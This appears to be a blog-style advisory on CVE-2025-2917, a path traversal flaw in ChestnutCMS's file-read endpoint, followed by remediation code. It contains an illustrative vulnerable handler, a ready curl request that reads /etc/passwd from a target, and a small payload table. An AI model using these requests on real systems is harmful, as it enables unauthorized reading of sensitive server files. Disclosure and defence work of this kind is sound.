CVE-2025-2917 - Path Traversal in ChestnutCMS up to 1.5.3 via `/dev-api/cms/file/read`

CVE-2025-2917 is a serious vulnerability recently discovered in ChestnutCMS versions up to 1.5.3. This vulnerability allows a remote attacker to read arbitrary files on the server by exploiting improper validation of the filePath parameter in the /dev-api/cms/file/read API endpoint.

In this exclusive analysis, we’ll break down how the vulnerability works, provide sample exploit code, and link to key references to keep you informed and protected.

What is Path Traversal?

Path traversal (also known as directory traversal) is a security bug where an attacker can manipulate file paths to access files and directories stored outside the intended scope. By passing specially crafted ../ sequences, an attacker can “traverse” the file system and potentially view sensitive files like configuration files and passwords.

Vulnerable Function in ChestnutCMS

The vulnerable code exists in the readFile function, typically found in /dev-api/cms/file/read. Here, the server reads a file whose location is specified by a user-supplied argument called filePath – but the code fails to sanitize this input.

Simplified vulnerable code snippet

// /dev-api/cms/file/read (example Node.js/Express handler)
app.post('/dev-api/cms/file/read', function(req, res) {
    const filePath = req.body.filePath; // User-controlled input!
    fs.readFile(filePath, 'utf8', function(err, data) {
        if (err) {
            res.status(404).send('File not found');
        } else {
            res.send(data);
        }
    });
});

What's wrong?
This code trusts the filePath parameter *entirely*. A hacker can send a file path like ../../../../etc/passwd (on Unix systems), and the server will blindly open that file and send its contents back.

How To Exploit CVE-2025-2917

A successful attack simply requires sending a POST request to the vulnerable endpoint with a malicious path in filePath.

Let’s say the server is running at https://victim.example.com. To read /etc/passwd

curl -X POST https://victim.example.com/dev-api/cms/file/read \
     -H "Content-Type: application/json" \
     -d '{"filePath":"../../../../etc/passwd"}'

The server will respond with the contents of /etc/passwd (if the file exists and permissions allow).

Common Payloads

| Target OS | Payload Example |
|-------------|----------------------------------|
| Linux/Unix | ../../../../etc/passwd |
| Windows | ..\..\..\..\windows\win.ini |

Original Disclosure and References

- NVD - CVE-2025-2917
- Exploit Database (EDB) - CVE-2025-2917 *(placeholder for actual exploit)*
- ChestnutCMS Official GitHub

How To Fix the Vulnerability

If you use ChestnutCMS, upgrade to the newest version immediately. If upgrading right away isn’t possible, consider these workarounds:

Sanitize Input: Only allow filePath values pointing to permitted directories.

- Normalize Paths: Use path normalization functions and check that the final resolved path is within the intended directory.

Example of safe file reading (pseudo-code)

const path = require('path');
const BASE_DIR = '/var/www/files/';

app.post('/dev-api/cms/file/read', function(req, res) {
    const userPath = req.body.filePath;
    const safePath = path.join(BASE_DIR, path.normalize(userPath));
    if (!safePath.startsWith(BASE_DIR)) {
        return res.status(403).send('Access denied');
    }
    fs.readFile(safePath, 'utf8', function(err, data) {
        //...
    });
});

Conclusion

CVE-2025-2917 is a classic, yet dangerous, path traversal vulnerability in ChestnutCMS up to version 1.5.3. Due to a lack of input validation, remote attackers can exploit this bug to steal sensitive files. It’s vital for anyone running these CMS versions to patch immediately and check server logs for suspicious access to this endpoint.

Timeline

Published on: 03/28/2025 18:15:17 UTC
Last modified on: 04/14/2025 13:53:30 UTC

CVE-2025-2917 - Path Traversal in ChestnutCMS up to 1.5.3 via `/dev-api/cms/file/read` – Analysis & Exploit